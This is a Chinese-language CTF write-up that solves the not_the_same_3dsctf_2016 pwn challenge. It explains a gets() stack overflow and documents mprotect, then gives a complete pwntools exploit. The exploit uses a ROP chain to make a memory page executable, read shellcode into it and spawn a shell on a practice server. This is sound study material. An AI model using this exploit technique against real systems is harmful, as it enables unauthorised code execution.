pwn刷题记录之not_the_same_3dsctf_2016

前言:这道题目有一个没见过的姿势,写一篇来记录一下

一、checksec看一下保护

开了栈不可执行保护

二、main函数

发现了gets()函数存在栈溢出

三、get_secret函数

1)分析

我们发现 flag.txt被存在了那个&unk.....里面

然后fgets函数是不能实现栈溢出的,不然可以考虑栈溢出然后用write函数读这块区域

2)这里需要用到我们的新姿势,搜索得到mprotect函数

这里补充一下ida的小操作,我们可以把鼠标放在左侧函数名称列表这里,按ctrl+f可以搜索函数名

3)mprotect()函数说明

在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性。

函数原型如下:

#include <unistd.h> 

#include <sys/mmap.h> 

int mprotect(const void *start, size_t len, int prot);

mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:

1)PROT_READ:表示内存段内的内容可读;

2)PROT_WRITE:表示内存段内的内容可写;

3)PROT_EXEC:表示内存段中的内容可执行;

4)PROT_NONE:表示内存段中的内容根本没法访问。

需要指出的是,锁指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。

如果执行成功,则返回0;如果执行失败,则返回-1,并且设置errno变量,说明具体因为什么原因造成调用失败。错误的原因主要有以下几个:

1)EACCES

该内存不能设置为相应权限。这是可能发生的,比如,如果你 mmap(2) 映射一个文件为只读的,接着使用 mprotect() 标志为 PROT_WRITE。

2)EINVAL

start 不是一个有效的指针,指向的不是某个内存页的开头。

3)ENOMEM

内核内部的结构体无法分配。

4)ENOMEM

进程的地址空间在区间 [start, start+len] 范围内是无效,或者有一个或多个内存页没有映射。

如果调用进程内存访问行为侵犯了这些设置的保护属性,内核会为该进程产生 SIGSEGV (Segmentation fault,段错误)信号,并且终止该进程。

简而言之就是可以修改栈的执行权限

四、利用思路

ctrl+s查看段表,修改.got.plt(0x080EB000)为可读可写可执行

有人疑问了为什么是0x80EB000而不是bss段的开头0x80EBF80,因为指定的内存区间必须包含整个内存页(4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍。

通过ROPgadget查找我们所需要的,因为mprotect需要三个参数,所以我们找有三个pop一个ret的就好啦

这里我们找到的地址是0x0806fcc8

payload =b'a'*0x2d+ p32(mprotect) +p32(pop3_ret)

第一个是栈溢出,注意这里不用覆盖exp

由于编译器或者其他种种原因,不是每个程序都有esp的(虽然大部分都有)

提醒:做题不要直接F5还是应该看看汇编

第二个是mprotect函数的返回地址

第三个是我们找的三个pop的地址

payload+=p32(addr)+p32(0x100) +p32(0x7)

第一个是修改地址

第二个是修改长度

第三个修改为可读可写可执行就把它修改为0x7就好了

payload +=p32(read) +p32(pop3_ret)

第一个将返回地址修改为read函数的返回地址

第二个是三个pop的地址

payload +=p32(0)+p32(addr)+p32(len(shellcode))+p32(addr)

前三个是read函数的参数

第一个是read函数从哪里开始读 这个默认为0就好了

第二个是执行的地方在哪里 用我们修改好的地址

第三个是读的大小 大一点无所谓,主要是够我们写shellcode

最后一位将read函数的返回地址改为修改地址

最后完整wp

from pwn import *

p = remote("node4.buuoj.cn",26430)

elf = ELF('111')

read = elf.symbols['read']

mprotect = 0x0806ED40

addr = 0x080EB000

size1 = 0x7

size2 = 0x100

pop3_ret = 0x0806fcc8

shellcode = asm(shellcraft.sh())

#payload = b'a'*(0x2d)

#payload += p32(mpro_addr)

#payload += p32(target_addr)

payload =b'a'*0x2d+ p32(mprotect) +p32(pop3_ret)

payload+=p32(addr)+p32(0x100) +p32(0x7)

payload +=p32(read) +p32(pop3_ret)

payload +=p32(0)+p32(addr)+p32(len(shellcode))+p32(addr)

p.sendline(payload)

p.sendline(shellcode)

p.interactive()

这里解答一下为什么需要两个sendline,第二次的输入相当于给read函数输入,因为payload中构造的read函数还没有参数输入

参考博客

C语言之 mprotect - Max_hhg - 博客园

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值